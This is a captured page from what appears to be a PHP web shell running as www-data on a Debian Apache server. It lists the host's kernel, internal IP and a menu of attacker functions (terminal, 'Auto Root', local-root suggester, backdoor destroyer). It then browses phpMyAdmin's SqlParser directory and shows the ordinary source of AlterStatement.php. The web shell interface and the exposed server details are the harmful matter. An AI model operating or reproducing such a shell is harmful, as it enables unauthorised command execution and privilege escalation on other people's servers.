Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
php /
PhpMyAdmin /
SqlParser /
Statements /
Delete
Unzip
Name
Size
Permission
Date
Action
AlterStatement.php
3.96
KB
-rw-r--r--
2023-01-25 10:43
AnalyzeStatement.php
744
B
-rw-r--r--
2023-01-25 10:43
BackupStatement.php
631
B
-rw-r--r--
2023-01-25 10:43
CallStatement.php
716
B
-rw-r--r--
2023-01-25 10:43
CheckStatement.php
632
B
-rw-r--r--
2023-01-25 10:43
ChecksumStatement.php
553
B
-rw-r--r--
2023-01-25 10:43
CreateStatement.php
24.01
KB
-rw-r--r--
2023-01-25 10:43
DeleteStatement.php
11.19
KB
-rw-r--r--
2023-01-25 10:43
DropStatement.php
1.61
KB
-rw-r--r--
2023-01-25 10:43
ExplainStatement.php
6.31
KB
-rw-r--r--
2023-01-25 10:43
InsertStatement.php
7.2
KB
-rw-r--r--
2023-01-25 10:43
LoadStatement.php
11.05
KB
-rw-r--r--
2023-01-25 10:43
LockStatement.php
3.36
KB
-rw-r--r--
2023-01-25 10:43
MaintenanceStatement.php
1.47
KB
-rw-r--r--
2023-01-25 10:43
NotImplementedStatement.php
1.3
KB
-rw-r--r--
2023-01-25 10:43
OptimizeStatement.php
748
B
-rw-r--r--
2023-01-25 10:43
PurgeStatement.php
3.74
KB
-rw-r--r--
2023-01-25 10:43
RenameStatement.php
1.36
KB
-rw-r--r--
2023-01-25 10:43
RepairStatement.php
674
B
-rw-r--r--
2023-01-25 10:43
ReplaceStatement.php
4.97
KB
-rw-r--r--
2023-01-25 10:43
RestoreStatement.php
580
B
-rw-r--r--
2023-01-25 10:43
SelectStatement.php
7.83
KB
-rw-r--r--
2023-01-25 10:43
SetStatement.php
2.36
KB
-rw-r--r--
2023-01-25 10:43
ShowStatement.php
1.35
KB
-rw-r--r--
2023-01-25 10:43
TransactionStatement.php
2.39
KB
-rw-r--r--
2023-01-25 10:43
TruncateStatement.php
854
B
-rw-r--r--
2023-01-25 10:43
UpdateStatement.php
2.5
KB
-rw-r--r--
2023-01-25 10:43
WithStatement.php
11.07
KB
-rw-r--r--
2023-01-25 10:43
Save
Rename
<?php declare(strict_types=1); namespace PhpMyAdmin\SqlParser\Statements; use PhpMyAdmin\SqlParser\Components\AlterOperation; use PhpMyAdmin\SqlParser\Components\Expression; use PhpMyAdmin\SqlParser\Components\OptionsArray; use PhpMyAdmin\SqlParser\Parser; use PhpMyAdmin\SqlParser\Statement; use PhpMyAdmin\SqlParser\Token; use PhpMyAdmin\SqlParser\TokensList; use function implode; /** * `ALTER` statement. */ class AlterStatement extends Statement { /** * Table affected. * * @var Expression|null */ public $table; /** * Column affected by this statement. * * @var AlterOperation[]|null */ public $altered = []; /** * Options of this statement. * * @var array<string, int|array<int, int|string>> * @psalm-var array<string, (positive-int|array{positive-int, ('var'|'var='|'expr'|'expr=')})> */ public static $OPTIONS = [ 'ONLINE' => 1, 'OFFLINE' => 1, 'IGNORE' => 2, 'DATABASE' => 3, 'EVENT' => 3, 'FUNCTION' => 3, 'PROCEDURE' => 3, 'SERVER' => 3, 'TABLE' => 3, 'TABLESPACE' => 3, 'USER' => 3, 'VIEW' => 3, ]; /** * @param Parser $parser the instance that requests parsing * @param TokensList $list the list of tokens to be parsed */ public function parse(Parser $parser, TokensList $list) { ++$list->idx; // Skipping `ALTER`. $this->options = OptionsArray::parse($parser, $list, static::$OPTIONS); ++$list->idx; // Parsing affected table. $this->table = Expression::parse( $parser, $list, [ 'parseField' => 'table', 'breakOnAlias' => true, ] ); ++$list->idx; // Skipping field. /** * The state of the parser. * * Below are the states of the parser. * * 0 -----------------[ alter operation ]-----------------> 1 * * 1 -------------------------[ , ]-----------------------> 0 * * @var int */ $state = 0; for (; $list->idx < $list->count; ++$list->idx) { /** * Token parsed at this moment. */ $token = $list->tokens[$list->idx]; // End of statement. if ($token->type === Token::TYPE_DELIMITER) { break; } // Skipping whitespaces and comments. if (($token->type === Token::TYPE_WHITESPACE) || ($token->type === Token::TYPE_COMMENT)) { continue; } if ($state === 0) { $options = []; if ($this->options->has('DATABASE')) { $options = AlterOperation::$DB_OPTIONS; } elseif ($this->options->has('TABLE')) { $options = AlterOperation::$TABLE_OPTIONS; } elseif ($this->options->has('VIEW')) { $options = AlterOperation::$VIEW_OPTIONS; } elseif ($this->options->has('USER')) { $options = AlterOperation::$USER_OPTIONS; } elseif ($this->options->has('EVENT')) { $options = AlterOperation::$EVENT_OPTIONS; } $this->altered[] = AlterOperation::parse($parser, $list, $options); $state = 1; } elseif ($state === 1) { if (($token->type === Token::TYPE_OPERATOR) && ($token->value === ',')) { $state = 0; } } } } /** * @return string */ public function build() { $tmp = []; foreach ($this->altered as $altered) { $tmp[] = $altered::build($altered); } return 'ALTER ' . OptionsArray::build($this->options) . ' ' . Expression::build($this->table) . ' ' . implode(', ', $tmp); } }